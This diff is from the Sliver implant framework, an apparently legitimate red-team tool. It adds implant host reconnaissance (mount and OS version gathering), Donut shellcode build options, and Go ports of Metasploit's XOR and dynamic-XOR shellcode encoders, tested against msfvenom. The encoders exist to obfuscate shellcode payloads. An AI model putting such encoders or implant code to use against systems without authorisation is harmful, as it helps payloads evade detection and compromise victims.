but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"strings"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"golang.org/x/sys/unix"
)
func getString(input []byte) string {
ver := string(input)
if i := strings.Index(ver, "\x00"); i != -1 {
ver = ver[:i]
}
return ver
}
func formatMountFlags(flags uint32) string {
opts := make([]string, 0, 12)
if flags&unix.MNT_RDONLY != 0 {
opts = append(opts, "ro")
} else {
opts = append(opts, "rw")
}
if flags&unix.MNT_NOSUID != 0 {
opts = append(opts, "nosuid")
}
if flags&unix.MNT_NODEV != 0 {
opts = append(opts, "nodev")
}
if flags&unix.MNT_NOEXEC != 0 {
opts = append(opts, "noexec")
}
if flags&unix.MNT_SYNCHRONOUS != 0 {
opts = append(opts, "sync")
}
if flags&unix.MNT_ASYNC != 0 {
opts = append(opts, "async")
}
if flags&unix.MNT_NOATIME != 0 {
opts = append(opts, "noatime")
}
if flags&unix.MNT_JOURNALED != 0 {
opts = append(opts, "journaled")
}
if flags&unix.MNT_QUOTA != 0 {
opts = append(opts, "quota")
}
if flags&unix.MNT_UNION != 0 {
opts = append(opts, "union")
}
if flags&unix.MNT_AUTOMOUNTED != 0 {
opts = append(opts, "automounted")
}
if flags&unix.MNT_REMOVABLE != 0 {
opts = append(opts, "removable")
}
if flags&unix.MNT_DONTBROWSE != 0 {
opts = append(opts, "nobrowse")
}
if flags&unix.MNT_IGNORE_OWNERSHIP != 0 {
opts = append(opts, "ignore-ownership")
}
if flags&unix.MNT_LOCAL != 0 {
opts = append(opts, "local")
}
if flags&unix.MNT_ROOTFS != 0 {
opts = append(opts, "rootfs")
}
if flags&unix.MNT_SNAPSHOT != 0 {
opts = append(opts, "snapshot")
}
if flags&unix.MNT_CPROTECT != 0 {
opts = append(opts, "cprotect")
}
if flags&unix.MNT_NOUSERXATTR != 0 {
opts = append(opts, "nouserxattr")
}
if flags&unix.MNT_QUARANTINE != 0 {
opts = append(opts, "quarantine")
}
if flags&unix.MNT_UNKNOWNPERMISSIONS != 0 {
opts = append(opts, "unknown-permissions")
}
if flags&unix.MNT_DEFWRITE != 0 {
opts = append(opts, "defwrite")
}
if flags&unix.MNT_DOVOLFS != 0 {
opts = append(opts, "volfs")
}
if flags&unix.MNT_NOBLOCK != 0 {
opts = append(opts, "noblock")
}
if flags&unix.MNT_RELOAD != 0 {
opts = append(opts, "reload")
}
if flags&unix.MNT_UPDATE != 0 {
opts = append(opts, "update")
}
if flags&unix.MNT_EXPORTED != 0 {
opts = append(opts, "exported")
}
if flags&unix.MNT_MULTILABEL != 0 {
opts = append(opts, "multilabel")
}
if flags&unix.MNT_STRICTATIME != 0 {
opts = append(opts, "strictatime")
}
if flags&unix.MNT_FORCE != 0 {
opts = append(opts, "force")
}
return strings.Join(opts, ",")
}
func GetMountInformation() ([]*sliverpb.MountInfo, error) {
mountInfo := make([]*sliverpb.MountInfo, 0)
count, err := unix.Getfsstat(nil, unix.MNT_NOWAIT)
if err != nil || count == 0 {
return mountInfo, err
}
stats := make([]unix.Statfs_t, count)
count, err = unix.Getfsstat(stats, unix.MNT_NOWAIT)
if err != nil {
return mountInfo, err
}
stats = stats[:count]
for _, stat := range stats {
var mountData sliverpb.MountInfo
mountData.VolumeName = getString(stat.Mntfromname[:])
mountData.MountPoint = getString(stat.Mntonname[:])
mountData.Label = "/"
mountData.VolumeType = getString(stat.Fstypename[:])
mountData.MountOptions = formatMountFlags(stat.Flags)
mountData.TotalSpace = stat.Blocks * uint64(stat.Bsize)
mountData.FreeSpace = stat.Bavail * uint64(stat.Bsize)
mountData.UsedSpace = (stat.Blocks - stat.Bfree) * uint64(stat.Bsize)
mountInfo = append(mountInfo, &mountData)
}
return mountInfo, nil
}
+19 -1
View File
@@ -1,7 +1,25 @@
// +linux
//go:build linux
package mount
/*
Sliver Implant Framework
Copyright (C) 2023 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bufio"
"os"
+2 -3
View File
@@ -1,5 +1,6 @@
//go:build windows
// +build windows
package mount
/*
Sliver Implant Framework
@@ -19,8 +20,6 @@
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
package mount
import (
"errors"
"fmt"
+1 -1
View File
@@ -1,4 +1,4 @@
// +darwin
//go:build darwin
package procdump
+124 -1
View File
@@ -18,6 +18,129 @@ package version
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
func GetVersion() string {
import (
"encoding/xml"
"errors"
"fmt"
//{{if .Config.Debug}}
"log"
//{{end}}
"os"
"strings"
"golang.org/x/sys/unix"
)
type plist struct {
XMLName xml.Name `xml:"plist"`
Dict dict `xml:"dict"`
}
type dict struct {
Key []string `xml:"key"`
String []string `xml:"string"`
}
func getString(input []byte) string {
ver := string(input)
if i := strings.Index(ver, "\x00"); i != -1 {
ver = ver[:i]
}
return ver
}
func readOSRelease() string {
paths := []string{
"/System/Library/CoreServices/SystemVersion.plist",
"/System/Library/CoreServices/ServerVersion.plist",
}
for _, path := range paths {
file, err := os.Open(path)
if err != nil {
continue
}
properties, err := parsePlistFile(file)
_ = file.Close()
if err != nil {
//{{if .Config.Debug}}
log.Printf("error parsing %s: %v", path, err)
//{{end}}
continue
}
if osRelease := buildOSRelease(properties); osRelease != "" {
return osRelease
}
}
return ""
}
func parsePlistFile(file *os.File) (map[string]string, error) {
var v plist
if err := xml.NewDecoder(file).Decode(&v); err != nil {
return nil, err
}
if len(v.Dict.Key) != len(v.Dict.String) {
return nil, errors.New("invalid plist content")
}
properties := make(map[string]string, len(v.Dict.Key))
for i, key := range v.Dict.Key {
properties[key] = v.Dict.String[i]
}
return properties, nil
}
func buildOSRelease(properties map[string]string) string {
productName := properties["ProductName"]
productVersion := properties["ProductVersion"]
productBuildVersion := properties["ProductBuildVersion"]
if productName == "" || productVersion == "" || productBuildVersion == "" {
return ""
}
return fmt.Sprintf("%s %s (%s)", productName, productVersion, productBuildVersion)
}
func normalizeArch(arch string) string {
arch = strings.TrimSpace(arch)
if arch == "" {
return ""
}
switch strings.ToLower(arch) {
case "amd64":
return "x86_64"
case "i386", "i486", "i586", "i686", "x86":
return "x86"
default:
return arch
}
}
func formatDetailedVersion(osRelease, kernel, arch string) string {
parts := make([]string, 0, 3)
if osRelease != "" {
parts = append(parts, osRelease)
}
if kernel != "" {
parts = append(parts, fmt.Sprintf("kernel %s", kernel))
}
if arch != "" {
parts = append(parts, arch)
}
return strings.Join(parts, " ")
}
func GetVersion() string {
osRelease := readOSRelease()
var uname unix.Utsname
if err := unix.Uname(&uname); err != nil {
//{{if .Config.Debug}}
log.Printf("error getting OS version: %v", err)
//{{end}}
return osRelease
}
if osRelease == "" {
osRelease = getString(uname.Sysname[:])
}
kernel := getString(uname.Release[:])
arch := normalizeArch(getString(uname.Machine[:]))
return formatDetailedVersion(osRelease, kernel, arch)
}
+105 -2
View File
@@ -22,7 +22,10 @@ package version
import (
"fmt"
//{{if .Config.Debug}}
"log"
//{{end}}
"os"
"strings"
"syscall"
)
@@ -39,11 +42,111 @@ func getString(input [65]int8) string {
return ver
}
func readOSRelease() string {
paths := []string{"/etc/os-release", "/usr/lib/os-release"}
for _, path := range paths {
data, err := os.ReadFile(path)
if err != nil {
continue
}
return buildOSRelease(parseOSRelease(string(data)))
}
return ""
}
func parseOSRelease(content string) map[string]string {
values := make(map[string]string)
for _, line := range strings.Split(content, "\n") {
line = strings.TrimSpace(line)
if line == "" || strings.HasPrefix(line, "#") {
continue
}
key, value, ok := strings.Cut(line, "=")
if !ok || key == "" {
continue
}
key = strings.TrimSpace(key)
value = unescape(unquote(strings.TrimSpace(value)))
values[key] = value
}
return values
}
func unquote(s string) string {
if len(s) < 2 {
return s
}
if (s[0] == '"' || s[0] == '\'') && s[0] == s[len(s)-1] {
return s[1 : len(s)-1]
}
return s
}
func unescape(s string) string {
return strings.NewReplacer(
`\$`, `$`,
`\"`, `"`,
`\'`, `'`,
`\\`, `\`,
"\\`", "`",
).Replace(s)
}
func buildOSRelease(values map[string]string) string {
name := values["NAME"]
version := values["VERSION"]
if version == "" {
version = values["VERSION_ID"]
}
if name != "" && version != "" {
return fmt.Sprintf("%s %s", name, version)
}
return values["PRETTY_NAME"]
}
func normalizeArch(arch string) string {
arch = strings.TrimSpace(arch)
if arch == "" {
return ""
}
switch strings.ToLower(arch) {
case "amd64":
return "x86_64"
case "i386", "i486", "i586", "i686", "x86":
return "x86"
default:
return arch
}
}
func formatDetailedVersion(osRelease, kernel, arch string) string {
parts := make([]string, 0, 3)
if osRelease != "" {
parts = append(parts, osRelease)
}
if kernel != "" {
parts = append(parts, fmt.Sprintf("kernel %s", kernel))
}
if arch != "" {
parts = append(parts, arch)
}
return strings.Join(parts, " ")
}
// GetVersion returns the os version information
func GetVersion() string {
osRelease := readOSRelease()
var uname syscall.Utsname
if err := syscall.Uname(&uname); err != nil {
log.Fatal(err)
//{{if .Config.Debug}}
log.Printf("error getting OS version: %v", err)
//{{end}}
return osRelease
}
return fmt.Sprintf("%s %s %s", getString(uname.Sysname), getString(uname.Nodename), getString(uname.Release))
if osRelease == "" {
osRelease = getString(uname.Sysname)
}
kernel := getString(uname.Release)
arch := normalizeArch(getString(uname.Machine))
return formatDetailedVersion(osRelease, kernel, arch)
}
File diff suppressed because it is too large. Load diff
+31 -1
View File
@@ -132,6 +132,25 @@ enum OutputFormat {
THIRD_PARTY = 4;
}
message DonutConfig {
// 1=none, 2=random names, 3=random names + symmetric encryption
uint32 Entropy = 2;
// 1=none, 2=aplib
uint32 Compress = 3;
// 1=exit thread, 2=exit process, 3=block
uint32 ExitOpt = 4;
// 1=none, 2=abort on failure, 3=continue on failure
uint32 Bypass = 5;
// 1=overwrite headers, 2=keep headers
uint32 Headers = 6;
// Run unmanaged EXE entrypoint as a new thread
bool Thread = 7;
// Convert command line to Unicode for unmanaged DLL entrypoints
bool Unicode = 8;
// Override original entry point (0 = default)
uint32 OEP = 9;
}
message ImplantConfig {
string ID = 1;
repeated ImplantBuild ImplantBuilds = 2;
@@ -184,6 +203,7 @@ message ImplantConfig {
bool RunAtLoad = 105;
string DebugFile = 106;
repeated string exports = 107;
DonutConfig DonutConfig = 108;
string HTTPC2ConfigName = 150;
bool NetGoEnabled = 151;
@@ -690,6 +710,8 @@ message Backdoor { commonpb.Response Response = 9; }
enum ShellcodeEncoder {
NONE = 0;
SHIKATA_GA_NAI = 1;
XOR = 2;
XOR_DYNAMIC = 3;
}
message ShellcodeEncodeReq {
@@ -697,6 +719,7 @@ message ShellcodeEncodeReq {
string Architecture = 2;
uint32 Iterations = 3;
bytes BadChars = 4;
reserved 5;
bytes Data = 8;
commonpb.Request Request = 9;
@@ -708,7 +731,14 @@ message ShellcodeEncode {
commonpb.Response Response = 9;
}
message ShellcodeEncoderMap { map<string, ShellcodeEncoder> Encoders = 1; }
message ShellcodeEncoderArchMap {
map<string, ShellcodeEncoder> Encoders = 1;
map<string, string> Descriptions = 2;
}
message ShellcodeEncoderMap {
map<string, ShellcodeEncoderArchMap> Encoders = 1;
}
// [ Builder ] ----------------------------------------
+1 -1
View File
@@ -31,7 +31,7 @@ Server daemon responsible for managing operators, implants, and infrastructure.
- `msf/` – Metasploit integration utilities. Implements payload translation and RPC bridging with Metasploit.
- `netstack/` – gVisor-based userland network stack for server transports. Provides packet buffers, endpoint management, and adapters.
- `rpc/` – RPC server implementations and wiring. Boots gRPC servers, registers services, and manages middleware.
- `sgn/` – SGN (Sliver Guard Node) coordination and helpers. Implements SGN enrollment, messaging, and policy logic.
- `encoders/shellcode/sgn/` – SGN (Shikata Ga Nai) shellcode encoder helpers and configuration wiring.
- `transport/` – Server-side transports and listener orchestration. Coordinates C2 listener lifecycles and connection routing.
- `watchtower/` – Watchtower monitoring and background jobs. Runs scheduled tasks, telemetry collection, and alerting hooks.
- `website/` – Static website assets and server-side handling. Serves operator web artifacts and supporting handlers.
+1 -1
View File
@@ -120,7 +120,7 @@ func Setup(force bool, echo bool) {
setupLog.Infof("Version mismatch %v != %v", localVer, ver.GitCommit)
if echo {
fmt.Printf(`
Sliver Copyright (C) 2025 Bishop Fox
Sliver Copyright (C) 2026 Bishop Fox
This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
This is free software, and you are welcome to redistribute it
under certain conditions; type 'licenses' for details.`)
-6
View File
@@ -185,7 +185,6 @@ type ServerConfig struct {
Watchtower *WatchTowerConfig `json:"watch_tower" yaml:"watch_tower"`
GoProxy string `json:"go_proxy" yaml:"go_proxy"`
HTTPDefaults *HttpDefaultConfig `json:"http_default" yaml:"http_default"`
DonutBypass int `json:"donut_bypass" yaml:"donut_bypass"` // 1=skip, 2=abort on fail, 3=continue on fail.
Notifications *NotificationsConfig `json:"notifications" yaml:"notifications"`
// 'GOOS/GOARCH' -> CC path
@@ -258,10 +257,6 @@ func GetServerConfig() *ServerConfig {
}
log.RootLogger.SetLevel(log.LevelFrom(config.Logs.Level))
if config.DonutBypass < 1 || config.DonutBypass > 3 {
config.DonutBypass = 1
}
err := config.Save() // This updates the config with any missing fields
if err != nil {
serverConfigLog.Errorf("Failed to save default config %s", err)
@@ -297,7 +292,6 @@ func getDefaultServerConfig() *ServerConfig {
},
},
},
DonutBypass: 3,
Notifications: defaultNotificationsConfig(),
CC: map[string]string{},
CXX: map[string]string{},
+2 -8
View File
@@ -36,7 +36,6 @@ http_default:
name: "X-Test"
value: "abc"
probability: 50
donut_bypass: 2
notifications:
enabled: true
events:
@@ -86,9 +85,6 @@ cxx:
if header.Method != "POST" || header.Name != "X-Test" || header.Value != "abc" || header.Probability != 50 {
t.Fatalf("unexpected header values: %#v", header)
}
if config.DonutBypass != 2 {
t.Fatalf("expected donut_bypass %d, got %d", 2, config.DonutBypass)
}
if config.Notifications == nil || !config.Notifications.Enabled {
t.Fatalf("expected notifications enabled")
}
@@ -159,7 +155,6 @@ func TestServerConfigMigratesLegacyJSON(t *testing.T) {
Watchtower *WatchTowerConfig `json:"watch_tower"`
GoProxy string `json:"go_proxy"`
HTTPDefaults *legacyHTTPDefaults `json:"http_default"`
DonutBypass int `json:"donut_bypass"`
CC map[string]string `json:"cc"`
CXX map[string]string `json:"cxx"`
}
@@ -193,9 +188,8 @@ func TestServerConfigMigratesLegacyJSON(t *testing.T) {
},
},
},
DonutBypass: 2,
CC: map[string]string{"linux/amd64": "/usr/bin/cc"},
CXX: map[string]string{"linux/amd64": "/usr/bin/c++"},
CC: map[string]string{"linux/amd64": "/usr/bin/cc"},
CXX: map[string]string{"linux/amd64": "/usr/bin/c++"},
}
data, err := json.MarshalIndent(legacy, "", " ")
if err != nil {
+29
View File
@@ -203,6 +203,15 @@ type ImplantConfig struct {
IsShellcode bool
RunAtLoad bool
// Donut options (Windows shellcode only)
DonutEntropy uint32
DonutCompress uint32
DonutExitOpt uint32
DonutBypass uint32
DonutHeaders uint32
DonutThread bool
DonutUnicode bool
DonutOEP uint32
HttpC2ConfigName string
NetGoEnabled bool
@@ -288,6 +297,16 @@ func (ic *ImplantConfig) ToProtobuf() *clientpb.ImplantConfig {
IncludeTCP: ic.IncludeTCP,
Extension: ic.Extension,
Exports: strings.Split(ic.Exports, ","),
DonutConfig: &clientpb.DonutConfig{
Entropy: ic.DonutEntropy,
Compress: ic.DonutCompress,
ExitOpt: ic.DonutExitOpt,
Bypass: ic.DonutBypass,
Headers: ic.DonutHeaders,
Thread: ic.DonutThread,
Unicode: ic.DonutUnicode,
OEP: ic.DonutOEP,
},
}
if ic.ImplantProfileID != nil {
@@ -499,6 +518,16 @@ func ImplantConfigFromProtobuf(pbConfig *clientpb.ImplantConfig) *ImplantConfig
cfg.RunAtLoad = pbConfig.RunAtLoad
cfg.DebugFile = pbConfig.DebugFile
cfg.Exports = strings.Join(pbConfig.Exports, ",")
if pbConfig.DonutConfig != nil {
cfg.DonutEntropy = pbConfig.DonutConfig.Entropy
cfg.DonutCompress = pbConfig.DonutConfig.Compress
cfg.DonutExitOpt = pbConfig.DonutConfig.ExitOpt
cfg.DonutBypass = pbConfig.DonutConfig.Bypass
cfg.DonutHeaders = pbConfig.DonutConfig.Headers
cfg.DonutThread = pbConfig.DonutConfig.Thread
cfg.DonutUnicode = pbConfig.DonutConfig.Unicode
cfg.DonutOEP = pbConfig.DonutConfig.OEP
}
cfg.HttpC2ConfigName = pbConfig.HTTPC2ConfigName
cfg.NetGoEnabled = pbConfig.NetGoEnabled
-5
View File
@@ -23,7 +23,6 @@ import (
"crypto/rand"
insecureRand "math/rand"
"testing"
"time"
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
util "github.com/bishopfox/sliver/util/encoders"
@@ -33,10 +32,6 @@ const (
sampleSizeMax = 8192
)
func init() {
insecureRand.Seed(time.Now().Unix())
}
func randomDataRandomSize(maxSize int) []byte {
buf := make([]byte, insecureRand.Intn(maxSize))
rand.Read(buf)
+47
View File
@@ -0,0 +1,47 @@
package amd64
import (
"crypto/rand"
"fmt"
)
const xorDynamicKeySize = 8
// XorKeyGen returns a random key suitable for the XOR encoder.
func XorKeyGen() ([]byte, error) {
return randomBytes(xorKeySize)
}
// XorDynamicKeyGen returns a random key suitable for the XOR dynamic encoder.
func XorDynamicKeyGen() ([]byte, error) {
return randomBytesFiltered(xorDynamicKeySize, xorDynamicBadchars)
}
func randomBytes(length int) ([]byte, error) {
if length <= 0 {
return nil, fmt.Errorf("invalid random length %d", length)
}
buf := make([]byte, length)
if _, err := rand.Read(buf); err != nil {
return nil, err
}
return buf, nil
}
func randomBytesFiltered(length int, badchars map[byte]bool) ([]byte, error) {
if length <= 0 {
return nil, fmt.Errorf("invalid random length %d", length)
}
buf := make([]byte, length)
for i := range buf {
for {
if _, err := rand.Read(buf[i : i+1]); err != nil {
return nil, err
}
if !badchars[buf[i]] {
break
}
}
}
return buf, nil
}
Binary file not shown.
Binary file not shown.
+133
View File
@@ -0,0 +1,133 @@
package amd64
/*
Sliver Implant Framework
Copyright (C) 2026 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
------------------------------------------------------------------------
Based on the Metasploit x64/xor encoder by [email protected]
*/
import (
"bytes"
"encoding/binary"
"fmt"
"strings"
"github.com/moloch--/go-keystone"
)
const (
xorKeySize = 8
xorBlockSize = 8
decoderPayloadSize = 0x27
)
// Xor encodes an amd64 payload using the Metasploit x64/xor scheme.
func Xor(data []byte, key []byte) ([]byte, error) {
if len(data) == 0 {
return nil, fmt.Errorf("xor encoder: empty payload")
}
if len(key) != xorKeySize {
return nil, fmt.Errorf("xor encoder: invalid key length %d", len(key))
}
blockCount := (len(data) + xorBlockSize - 1) / xorBlockSize
if blockCount <= 0 {
return nil, fmt.Errorf("xor encoder: invalid block count %d", blockCount)
}
paddedLen := blockCount * xorBlockSize
encoded := make([]byte, paddedLen)
copy(encoded, data)
for i := 0; i < paddedLen; i += xorBlockSize {
for j := 0; j < xorKeySize; j++ {
encoded[i+j] ^= key[j]
}
}
stub, err := buildDecoderStub(blockCount, key)
if err != nil {
return nil, err
}
return append(stub, encoded...), nil
}
func buildDecoderStub(blockCount int, key []byte) ([]byte, error) {
engine, err := keystone.NewEngine(keystone.ARCH_X86, keystone.MODE_64)
if err != nil {
return nil, err
}
defer func() { _ = engine.Close() }()
err = engine.Option(keystone.OPT_SYNTAX, keystone.OPT_SYNTAX_INTEL)
if err != nil {
return nil, err
}
src := strings.Join([]string{
".code64",
"xor rcx, rcx",
"sub rcx, 0x81",
"lea rax, [rip - 0x11]",
"mov rbx, 0x1122334455667788",
"decode:",
"xor qword ptr [rax + 0x27], rbx",
"sub rax, 0x80",
"loop decode",
}, "\n")
inst, err := engine.Assemble(src, 0)
if err != nil {
return nil, err
}
if len(inst) != decoderPayloadSize {
return nil, fmt.Errorf("xor encoder: unexpected decoder stub length %d", len(inst))
}
blockValue := uint32(int32(-blockCount))
if err := patchImm32(inst, []byte{0x48, 0x81, 0xE9}, blockValue); err != nil {
return nil, err
}
keyOffset := bytes.Index(inst, []byte{0x48, 0xBB})
if keyOffset == -1 || keyOffset+10 > len(inst) {
return nil, fmt.Errorf("xor encoder: failed to locate key offset")
}
copy(inst[keyOffset+2:keyOffset+10], key)
if err := patchImm32(inst, []byte{0x48, 0x2D}, 0xFFFFFFF8); err != nil {
return nil, err
}
return inst, nil
}
func patchImm32(stub []byte, opcode []byte, value uint32) error {
offset := bytes.Index(stub, opcode)
if offset == -1 {
return fmt.Errorf("xor encoder: opcode %x not found", opcode)
}
offset += len(opcode)
if offset+4 > len(stub) {
return fmt.Errorf("xor encoder: opcode %x out of range", opcode)
}
binary.LittleEndian.PutUint32(stub[offset:offset+4], value)
return nil
}
@@ -0,0 +1,283 @@
package amd64
/*
Sliver Implant Framework
Copyright (C) 2026 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
------------------------------------------------------------------------
Based on the Metasploit x64/xor_dynamic encoder by lupman, phra
*/
import (
"bytes"
"fmt"
"strings"
"github.com/moloch--/go-keystone"
)
const (
xorDynamicKeyPlaceholder = 0x41
xorDynamicPayloadPlaceholder = 0x42
xorDynamicStubSize = 46
)
var xorDynamicBadchars = map[byte]bool{
0x00: true,
0x0a: true,
0x0d: true,
}
// XorDynamic encodes an amd64 payload using the Metasploit x64/xor_dynamic scheme.
// If key includes a trailing key terminator + payload terminator (3 bytes) that satisfy the
// encoder constraints, those are used verbatim.
func XorDynamic(data []byte, key []byte) ([]byte, error) {
if len(data) == 0 {
return nil, fmt.Errorf("xor_dynamic encoder: empty payload")
}
if len(key) == 0 {
return nil, fmt.Errorf("xor_dynamic encoder: empty key")
}
coreKey := key
var keyTerm byte
var payloadTerm []byte
encoded := xorDynamicEncode(data, key)
explicit := false
if candidateKey, candidateKeyTerm, candidatePayloadTerm, ok := splitExplicitTerms(data, key); ok {
coreKey = candidateKey
keyTerm = candidateKeyTerm
payloadTerm = candidatePayloadTerm
encoded = xorDynamicEncode(data, coreKey)
explicit = true
}
if containsBadchars(coreKey, xorDynamicBadchars) {
return nil, fmt.Errorf("xor_dynamic encoder: key contains badchars")
}
if !explicit {
var err error
keyTerm, err = selectKeyTerm(coreKey)
if err != nil {
return nil, err
}
payloadTerm, err = selectPayloadTerm(encoded)
if err != nil {
return nil, err
}
} else {
if bytes.IndexByte(coreKey, keyTerm) != -1 {
return nil, fmt.Errorf("xor_dynamic encoder: key contains key terminator")
}
if bytes.Contains(encoded, payloadTerm) {
return nil, fmt.Errorf("xor_dynamic encoder: encoded payload contains payload terminator")
}
}
stub, err := buildXorDynamicStub(keyTerm, payloadTerm)
if err != nil {
return nil, err
}
final := make([]byte, 0, len(stub)+len(coreKey)+1+len(encoded)+len(payloadTerm))
final = append(final, stub...)
final = append(final, coreKey...)
final = append(final, keyTerm)
final = append(final, encoded...)
final = append(final, payloadTerm...)
if containsBadchars(final, xorDynamicBadchars) {
return nil, fmt.Errorf("xor_dynamic encoder: badchars present in output")
}
return final, nil
}
func xorDynamicEncode(data []byte, key []byte) []byte {
encoded := make([]byte, len(data))
for i := range data {
encoded[i] = data[i] ^ key[i%len(key)]
}
return encoded
}
func splitExplicitTerms(data []byte, key []byte) ([]byte, byte, []byte, bool) {
if len(key) < 4 {
return nil, 0, nil, false
}
candidateKey := key[:len(key)-3]
if len(candidateKey) == 0 {
return nil, 0, nil, false
}
keyTerm := key[len(key)-3]
payloadTerm := key[len(key)-2:]
if xorDynamicBadchars[keyTerm] || xorDynamicBadchars[payloadTerm[0]] || xorDynamicBadchars[payloadTerm[1]] {
return nil, 0, nil, false
}
if bytes.IndexByte(candidateKey, keyTerm) != -1 {
return nil, 0, nil, false
}
if containsBadchars(candidateKey, xorDynamicBadchars) {
return nil, 0, nil, false
}
encoded := xorDynamicEncode(data, candidateKey)
if bytes.Contains(encoded, payloadTerm) {
return nil, 0, nil, false
}
return candidateKey, keyTerm, append([]byte{}, payloadTerm...), true
}
func selectKeyTerm(key []byte) (byte, error) {
for _, b := range allowedDynamicChars() {
if bytes.IndexByte(key, b) == -1 {
return b, nil
}
}
return 0, fmt.Errorf("xor_dynamic encoder: key terminator not found")
}
func selectPayloadTerm(encoded []byte) ([]byte, error) {
allowed := allowedDynamicChars()
for _, first := range allowed {
for _, second := range allowed {
term := []byte{first, second}
if !bytes.Contains(encoded, term) {
return term, nil
}
}
}
return nil, fmt.Errorf("xor_dynamic encoder: payload terminator not found")
}
func allowedDynamicChars() []byte {
allowed := make([]byte, 0, 255)
for i := 1; i <= 255; i++ {
b := byte(i)
if xorDynamicBadchars[b] {
continue
}
allowed = append(allowed, b)
}
return allowed
}
func buildXorDynamicStub(keyTerm byte, payloadTerm []byte) ([]byte, error) {
if len(payloadTerm) != 2 {
return nil, fmt.Errorf("xor_dynamic encoder: payload terminator must be 2 bytes")
}
engine, err := keystone.NewEngine(keystone.ARCH_X86, keystone.MODE_64)
if err != nil {
return nil, err
}
defer func() { _ = engine.Close() }()
if err := engine.Option(keystone.OPT_SYNTAX, keystone.OPT_SYNTAX_INTEL); err != nil {
return nil, err
}
src := strings.Join([]string{
".code64",
"jmp _call",
"_ret:",
"pop rbx",
"push rbx",
"pop rdi",
"mov al, 0x41",
"cld",
"_lp1:",
"scasb",
"jne _lp1",
"push rdi",
"pop rcx",
"_lp2:",
"push rbx",
"pop rsi",
"_lp3:",
"mov al, byte ptr [rsi]",
"xor byte ptr [rdi], al",
"inc rdi",
"inc rsi",
"cmp word ptr [rdi], 0x4242",
"je _jmp",
"cmp byte ptr [rsi], 0x41",
"jne _lp3",
"jmp _lp2",
"_jmp:",
"jmp rcx",
"_call:",
"call _ret",
}, "\n")
inst, err := engine.Assemble(src, 0)
if err != nil {
return nil, err
}
if len(inst) != xorDynamicStubSize {
return nil, fmt.Errorf("xor_dynamic encoder: unexpected stub length %d", len(inst))
}
keyReplaced := 0
for i := range inst {
if inst[i] == xorDynamicKeyPlaceholder {
inst[i] = keyTerm
keyReplaced++
}
}
if keyReplaced == 0 {
return nil, fmt.Errorf("xor_dynamic encoder: key placeholder not found")
}
payloadReplaced := 0
for i := 0; i+1 < len(inst); i++ {
if inst[i] == xorDynamicPayloadPlaceholder && inst[i+1] == xorDynamicPayloadPlaceholder {
inst[i] = payloadTerm[0]
inst[i+1] = payloadTerm[1]
payloadReplaced++
i++
}
}
if payloadReplaced == 0 {
return nil, fmt.Errorf("xor_dynamic encoder: payload placeholder not found")
}
if containsBadchars(inst, xorDynamicBadchars) {
return nil, fmt.Errorf("xor_dynamic encoder: badchars present in stub")
}
return inst, nil
}
func containsBadchars(data []byte, badchars map[byte]bool) bool {
for _, b := range data {
if badchars[b] {
return true
}
}
return false
}
@@ -0,0 +1,126 @@
package amd64
import (
"bytes"
"fmt"
"io/fs"
"os/exec"
"path/filepath"
"testing"
)
func TestXorDynamicEncoderMatchesMSFVenom(t *testing.T) {
if _, err := exec.LookPath("msfvenom"); err != nil {
t.Skipf("msfvenom not available: %v", err)
}
if !keystoneAvailable() {
t.Skip("keystone assembler not available")
}
fixtures, err := fs.Glob(xorFixtures, "testdata/*.bin")
if err != nil {
t.Fatalf("failed to list fixtures: %v", err)
}
if len(fixtures) == 0 {
t.Fatal("no xor fixtures found")
}
home := t.TempDir()
primeMSFVenom(t, home)
for _, name := range fixtures {
name := name
t.Run(filepath.Base(name), func(t *testing.T) {
payload, err := xorFixtures.ReadFile(name)
if err != nil {
t.Fatalf("failed to read fixture %s: %v", name, err)
}
if len(payload) == 0 {
t.Fatalf("fixture %s is empty", name)
}
platform, err := platformFromFixture(name)
if err != nil {
t.Fatalf("fixture %s: %v", name, err)
}
msfEncoded := msfvenomEncode(t, home, payload, platform, "x64/xor_dynamic")
key, keyTerm, payloadTerm, err := extractXorDynamicParams(msfEncoded)
if err != nil {
t.Fatalf("fixture %s: %v", name, err)
}
keyWithTerms := make([]byte, 0, len(key)+3)
keyWithTerms = append(keyWithTerms, key...)
keyWithTerms = append(keyWithTerms, keyTerm)
keyWithTerms = append(keyWithTerms, payloadTerm...)
encoded, err := XorDynamic(payload, keyWithTerms)
if err != nil {
t.Fatalf("fixture %s: XorDynamic failed: %v", name, err)
}
if !bytes.Equal(encoded, msfEncoded) {
diff := firstDiff(encoded, msfEncoded)
t.Fatalf("fixture %s: output mismatch at byte %d (got=%d, msf=%d)", name, diff, len(encoded), len(msfEncoded))
}
})
}
}
func extractXorDynamicParams(encoded []byte) ([]byte, byte, []byte, error) {
if len(encoded) < xorDynamicStubSize+3 {
return nil, 0, nil, fmt.Errorf("xor_dynamic output too short")
}
